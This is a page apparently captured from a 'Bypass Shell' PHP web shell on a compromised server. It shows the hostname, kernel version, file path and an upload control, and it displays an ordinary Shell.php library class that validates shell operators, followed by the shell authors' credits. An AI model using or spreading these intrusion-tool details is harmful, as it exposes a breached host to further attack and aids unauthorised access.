Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/vendor/consolidation/site-process/src/Util/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/vendor/consolidation/site-process/src/Util/Shell.php

<?php
namespace Consolidation\SiteProcess\Util;

/**
 * Shell::op is a static factory that will create shell operators for use
 * in command line arguments list. Shell operators are characters that have
 * special meaning to the shell, such as "output redirection". When a shell
 * operator object is used, it indicates that this element is intended to
 * be used as an operator, and is not simply some other parameter to be escaped.
 */
class Shell implements ShellOperatorInterface
{
    protected $value;

    public static function op($operator)
    {
        static::validateOp($operator);
        return new self($operator);
    }

    public static function preEscaped($value)
    {
        return new self($value);
    }

    public function __construct($value)
    {
        $this->value = $value;
    }

    public function __toString()
    {
        return $this->value;
    }

    protected static function validateOp($operator)
    {
        $valid = [
            '&&',
            '||',
            '|',
            '<',
            '>',
            '>>',
            ';',
        ];

        if (!in_array($operator, $valid)) {
            throw new \Exception($operator . ' is not a valid shell operator.');
        }
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net